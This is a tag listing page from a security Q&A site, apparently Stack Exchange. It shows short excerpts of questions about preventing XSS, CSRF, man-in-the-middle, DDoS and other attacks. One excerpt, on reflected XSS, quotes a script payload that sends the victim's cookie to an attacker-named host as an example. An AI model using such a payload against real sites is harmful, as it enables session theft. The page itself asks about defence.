prevention of an attack vector (e.g. XSS, HPP, CSRF)

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1answer
123 views

Commonly used url parameters [duplicate]

I'm working on a project that requires me to tamper with/rewrite url parameters. I'd also like to add in something that finds request parameters such as ?admin=false ?debugging=false ?page=example ...
0
votes
2answers
437 views

How can I stop this attack on my router?

After enabling system log on my Asus DSL-N10E router, I've got this message: DoS: Tcp SYN With Data Attack source=217.74.166.73 What does it mean? Is it a real danger on my network security? And ...
2
votes
4answers
192 views

How is “security word” safe from man in the middle attack?

In this bank site I read the following lines Item #2 - You will also need to create a "Security Word". This allows you to verify that you have reached our Internet Banking site, and not some other ...
3
votes
1answer
241 views

3000 new contacts being added to gmail after receiving an email

Recently I realized that there are three thousand contacts with same name and email address in my Google contacts. The name belongs to an email that I have recently received and responded to, nothing ...
-2
votes
2answers
764 views

Is this site vulnerable to sql injection? [closed]

I have my site build from a company. I read about website vulnerabilities on the internet and i did some test on my site. It throws these errors. QueryString key:TutorialId was expected to be of ...
3
votes
1answer
280 views

What steps need to do to identify security hole

I use VPS hosting. Installed CentOS 6 and ZPanel according to this tutorial http://www.zvps.co.uk/zpanelcp/centos-6 Received warning from hosting provider: This URL has been identified as a phishing ...
0
votes
1answer
454 views

Stack Guard vs Stack Shield

I would like to know why nowadays Stack Guard is used everywhere (example: ProPolice in GCC, /GS in Visual Studio), instead of Stack Shield. Both the approaches (i.e. Stack Guard & Stack Shield) ...
2
votes
1answer
406 views

Android, how do I prevent Confused Deputy Attacks?

In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown from page 27 to ...
8
votes
1answer
344 views

Is the system bios and network card protected by the OS firewall?

My question arises from trying to understand new types of spyware that target the system bios and/or network card. Is the system bios and ethernet card both protected by an OS firewall set to deny ...
1
vote
2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
4
votes
2answers
617 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
1answer
682 views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
2
votes
1answer
75 views

Server Detection Vectors

I have a web server, and I would like to anonymise it as much as possible, to prevent unreported exploits directed at my web server (original cracks). My ideas: change server header customize 404 ...
0
votes
2answers
930 views

Windows user: Is having many active TCP connections normal?

Is this normal? Can any ports be "dangerous"? I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state. Some of them route to odd procceses using PID such as ...
0
votes
1answer
101 views

Finding the method of attack [closed]

My server has been repeatedly attacked in the last few days. Here's the observations: The ISP server traffic monitor shows the incoming traffic goes up to 300Mbps (with no outgoing traffic), and ...
0
votes
2answers
2k views

Hardened SSL ciphers for Nginx as AWS/Cloudfront Custom Origin

Based on recommendations, we recently attempted to harden our Nginx SSL configuration against BEAST/CRIME/BREACH attacks with the following stanza: ssl_prefer_server_ciphers on; ssl_ciphers ...
0
votes
2answers
154 views

Is there an open source runtime enforcement tool?

I have been looking for open source runtime enforcement tools that I can use my own policies to prevent input validation vulnerabilities, in web applications. The web applications that I want to ...
1
vote
2answers
422 views

Prevent my site to be sniffed and changed by man-in-the-middle-attacks

I want to secure site which is locally used for Prepaid Services, the site has been hacked many times, for the first step, I implemented SSL and its now working fine, however, I want to be sure that ...
8
votes
1answer
481 views

Is it possible to recognise and prevent MitM attacks on devices which use self-signed SSL certs?

I use both Linux and Windows at work on a large enterprise LAN. The majority of the network configuration is out of my reach. Certain SaaS applications that are hosted locally on the enterprise LAN, ...
0
votes
1answer
203 views

Response to script-kiddies “scanning” website for vulnerabilities? [duplicate]

I have a website and I have email reports when 500 errors occur. Many of these errors occur because "hackers" are running scripts to look for common vulnerabilities or access to admin interfaces - ...
-6
votes
1answer
81 views

Kerberos v4 compromised TGS [closed]

What would happen under the Kerberos v4 protocol if an attacker has compromised TGS and identified the Ktgs key? What would be the outcomes of such an attack?
1
vote
1answer
73 views

How to protect integrity of resource files in a white-box attack context?

In a white-box attack context (e.g. PC, tablet, smartphone), there is no trusted entity, which can be used to guarantee some reasonable security. TPM is not considered a solution because it is not ...
0
votes
1answer
528 views

Man-in-the-middle attack over an encrypted channel

I learned recently about man-in-the-middle attacks and came up with this question. Let's say we have two computers who try to communicate over the network. Each computer has an encryptor and a ...
7
votes
3answers
418 views

Does Gmail 2-factor auth increase security on smartphones?

So I have enabled 2-factor authentication on Gmail, which means that if I log in on a new machine, it sends a token to my phone. Now, if I access Gmail from my phone, it seems like I have only one ...
4
votes
1answer
113 views

Security consequence of Javascript hole in an online chat?

For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat? What is the worst thing they could do?
7
votes
1answer
419 views

How does ASCII-Armoring help to prevent buffer-overflow attacks?

I was reading about return-to-libc attacks at Wikipedia. According to what I read and understood from the article, ASCII armoring means that binary data is converted into ASCII values by grouping ...
3
votes
1answer
218 views

Vim Modeline Vulnerabilities

I use vim and have a use case for modelines. A modeline means that vim will parse a textfile for lines like: # vim: set someoption=somevalue and will then set those options. This is awesome if ...
2
votes
3answers
226 views

How good is validating source with request.referer than checksum?

I have 2 portals(both are under my control & domain names are different) In 1st portal, there is a link on click of which User can directly get logged into 2nd portal. Link which will be hit in ...
0
votes
1answer
69 views

How to specify a Snort rule connection duration?

Is it even possible to specify into a snort rule the duration of a connection? For example: in this format Hour, Minute, Second H, M, S = 0, 2, 1 If a connection that has the duration of 2 minutes ...
3
votes
2answers
341 views

What is the disadvantage of using spoofing protected version of ARP protocol

I read this article about man-in-the-middle arp poisoning and how it works , it seems that arp poisoning programs exploits the fact that ARP protocols trusts any packet to be true and modify its ...
2
votes
1answer
430 views

External network DNS spoofing

I've been thinking recently if its possible to DNS spoof an external network. Let's say for example you are attacker.com and your victim is of course victim.com. Then I've thought of 2 scenarios: 1. ...
6
votes
4answers
565 views

How can Antivirus differentiate between a Trojan and a normal remote desktop application software?

RAT (Remote Access Tool, e.g. Sub7) are considered malicious by Antivirus software. How can it distinguish between such patches and a client application for commercial software like NetSupport ...
1
vote
1answer
74 views

How non-executable are implemented? [duplicate]

In the "Hacking the art of Exploitation" its said that the basic idea of stack overflows attacks is that the operating system can't differentiate instructions from data inside the stack ,and the ...
3
votes
2answers
105 views

User privileges for unsanatized code

We all know there are still vulnerable code out there even though they may or may not get exploited and found for hacking attempts. I've seen people do it countless times and have a possibly plausible ...
12
votes
2answers
286 views

Why do browsers allow public websites to attack intranet sites?

When I'm visiting a website on the public internet, the website can cause my browser to send requests to a local IP address (such as 10.0.0.1). This can be used to attack internal web sites, e.g., ...
2
votes
3answers
86 views

Prevent request forgery attack

I don't know if I used the term correctly but basically this is the scenario: I am working at an application witch on every computer install must make a request to a server notifying the server that ...
1
vote
2answers
296 views

How to stop a (malicious) endless loop

Few days ago someone tried to crack my site using a Remote File Inclusion attack. The attack was blocked by my Web Application Firewall, but I was curious about the file. So I downloaded it started to ...
18
votes
3answers
5k views

DNS Amplification DDOS attack

During the weekend I made some tests to simulate an DNS Amplification DDOS attack. sending about 90Mb/s traffic I was able to generate about x.x Gb/s amplified traffic which sent our datacenter ...
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votes
1answer
1k views

How to find bugs/ vulnerabilities in web apps/sites? [closed]

What knowledge is needed? What software is to be used? How are the reports written? PS: Websites like facebook.com
2
votes
2answers
236 views

Will using SSL to secure Wordpress admin area only still actually be secure?

The vast majority of our website contains no sensitive information, logins, forms, etc. However there are portions driven by wordpress so we are looking into getting SSL to secure these areas. There ...
0
votes
1answer
567 views

Sanitizing JavaScript to prevent XSS

I'm going through a vulnerability remediation exercise for a client and am trying to figure out how to best mitigate this particular hole. There's a script on our site that calls up content into a new ...
3
votes
2answers
189 views

Defense against same origin attacks?

The Question: How do I, as the victim, protect my site from being manipulated into doing something it's not supposed to, on a shared host? Same-Origin policy looks the other way. Most convenient ...
143
votes
12answers
26k views

How is an ATM secure?

I'm curious why an ATM computer is considered secure. The general adage of "If an attacker has physical access to my machine, all bets are off," seems to not apply in this circumstance (since ...
2
votes
1answer
105 views

Where can I find articles about identity disclosure attack?

Where can I find more details about identity disclosure attack and it's prevention? If the adversary tries to steal the identity of an individual like mobile patterns and start appears in various ...
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votes
1answer
691 views

Solutions to TCP FIN Host Sweep (Signature 3032)

The Intrusion Prevention System is giving me an attack with signature 3032, TCP FIN Host Sweep on one of the ip addresses. I need a solution or recommendation on how to avoid the TCP FIN Host Sweep.
3
votes
2answers
3k views

HTML encoding to protect against XSS

While going through some references about protection against XSS i found that it is a good practice to encode data (entered by users) before using it to generate a dynamic page. I was not able to find ...
3
votes
3answers
2k views

How to detect & prevent fake emails?

I hope This not same as this one E-mail can be made to appear like it came from a big organization? I'm not asking how to protect a brands & and large organizations (Google , yahoo, etc ..), ...
1
vote
1answer
717 views

CSRF with OAuth or Bearer Authorization headers

I am designing a RESTful API which is to be accessible from a web browser. The API is protected by Basic authentication. I understand the concept of CSRF, and the mitigations proposed (I found both ...
2
votes
2answers
469 views

CSRF Login: can Attacker Login using valid credentials?

Considering this picture: taken from here:page21 Is this possible? If so, How to prevent it?
4
votes
2answers
614 views

when to escape user input

I wonder when is the best way to handle escaping user input. Two options come to my mind 1) User sends data to server we escape it and then store it into database 2) we store data as it is and ...